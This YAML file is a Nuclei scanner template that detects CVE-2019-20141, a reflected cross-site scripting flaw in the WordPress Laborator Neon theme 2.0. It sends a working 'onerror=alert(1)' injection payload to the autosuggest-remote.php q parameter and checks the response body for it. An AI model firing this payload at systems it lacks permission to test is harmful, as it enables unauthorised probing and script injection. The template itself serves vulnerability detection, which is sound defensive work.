id: CVE-2019-20141

info:
  name: WordPress Laborator Neon Theme 2.0 - Cross-Site Scripting
  author: knassar702
  severity: medium
  description: WordPress Laborator Neon theme 2.0 contains a cross-site scripting vulnerability via the data/autosuggest-remote.php q parameter.
  remediation: |
    Apply the latest security patch or update provided by the theme developer to fix the XSS vulnerability.
  reference:
    - https://knassar7o2.blogspot.com/2019/12/neon-dashboard-cve-2019-20141.html
    - https://knassar7o2.blogspot.com/2019/12/neon-dashboard-xss-reflected.html
    - https://knassar702.github.io/cve/neon/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-20141
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-20141
    cwe-id: CWE-79
    epss-score: 0.00125
    epss-percentile: 0.46806
    cpe: cpe:2.3:a:laborator:neon:2.0:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: laborator
    product: neon
    framework: wordpress
  tags: cve2019,cve,xss,laborator,wordpress

http:
  - method: GET
    path:
      - '{{BaseURL}}/data/autosuggest-remote.php?q="><img%20src=x%20onerror=alert(1)>'
      - '{{BaseURL}}/admin/data/autosuggest-remote.php?q="><img%20src=x%20onerror=alert(1)>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "><img src=x onerror=alert(1)>>)1(trela=rorreno"

      - type: word
        part: header
        words:
          - "text/html"
# digest: 490a004630440220364007b5b353132d3e613a97b3c9f9453c1458e01438e0e259cd73afc23276ad022001dd8bc347d2107af7f57bd1fab63468c0320329d58618fcebf87bed4fd9c85d:922c64590222798bb761d5b6d8e72950